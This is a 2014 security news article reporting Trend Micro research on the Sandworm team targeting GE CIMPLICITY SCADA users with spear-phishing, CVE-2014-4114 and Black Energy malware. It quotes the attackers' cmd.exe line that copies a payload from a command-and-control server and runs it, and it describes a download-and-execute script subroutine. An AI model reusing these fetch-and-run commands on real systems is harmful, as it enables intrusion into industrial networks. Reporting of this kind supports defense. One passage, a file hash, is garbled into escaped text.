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### Sandworm Team Targeted SCADA Systems: **Trend Micro**

By Brian Prince on October 20, 2014

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Researchers at Trend Micro say the Sandworm team may have their eyes set on compromising SCADA-based systems.

SCADA (supervisory control and data acquisition) systems are used to control industrial processes. Last week, the Sandworm team was identified by researchers at iSight Partners as being at the center of attacks using CVE-2014-4114, a zero-day vulnerability in Microsoft Windows, as part of an attack campaign.

"After beginning an investigation into the affiliated malware samples and domains, we quickly came to realization that this group is very likely targeting SCADA-centric victims who are using GE Intelligent Platform's CIMPLICITY HMI solution suite." Trend Micro researchers Kyle Wilhoit and Jim Gogolinski explained in a blog post. "We have observed this team utilizing .cim and .bcl files as attack vectors, both of which file types are used by the CIMPLICITY software. As further proof of the malware targeting CIMPILICITY, it drops files into the CIMPLICITY installation directory using the %CIMPATH% environment variable on the victim

According to Trend Micro, the attackers were observed using emails armed with a malicious attachment that is opened by the CIMPLICITY application and attempts to exploit CVE-2014-4114 in Microsoft Windows. If the attack against the system running CIMPLICITY is successful, it attempts to download the Black Energy malware on the system. The spear-phishing emails are spoofed to appear to come from Oleh Tiahnybok, a Ukrainian politician who has been critical of Russia

One of the command and control servers that garnered Trend Micro's attention was 94[.]185[.]85[.]122.

"We pivoted off this C2, and located a file called config.bak (SHA1 hash:  $c931be9cd2c0bd896ebe98c9304fea9e), "the \ researchers\ explained.\ "This\ file\ piqued\ our$ interest right off the bat, because it is a CimEdit/CimView file. A CimEdit/CimView file is an object oriented file for GE's Cimplicity SCADA software suite, used to administer SCADA devices

In config.bak there are two defined events - OnOpenExecCommand and ScreenOpenDispatch. According to Trend Micro, the handler of OnOpenExecCommand is the

cmd.exe /c "copy \\94[.]185[.]85[.]122\public\default.txt "%CIMPATH%\CimCMSafegs.exe" && start "WOW64" "%CIMPATH%\CimCMSafegs.exe"

"It's important to note the variable %CIMPATH% is used for the drop location of default.txt," the researchers noted. "This is a standard variable that Cimplicity uses for its installs. The handler of ScreenOpenDispatch is the subroutine start(). The subroutine start() downloads the file from hxxp://94[.]185[.]85[.]122/newsfeed.xml, saves and executes the downloaded file using cscript.exe, deletes the file after execution, and terminates the current process."

The researchers noted that even though they are seeing CIMPLICITY being used as an attack vector, there is no indication attackers are manipulating any actual SCADA systems or data. However, since human-to-machine interfaces [HMIs] are located in both the corporate and control networks, this attack could be used to target either network segment, or used to cross from the corporate to the control network, they wrote.

CVE-2014-4114 was patched by Microsoft this month with MS14-060.

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Brian Prince is a Contributing Writer

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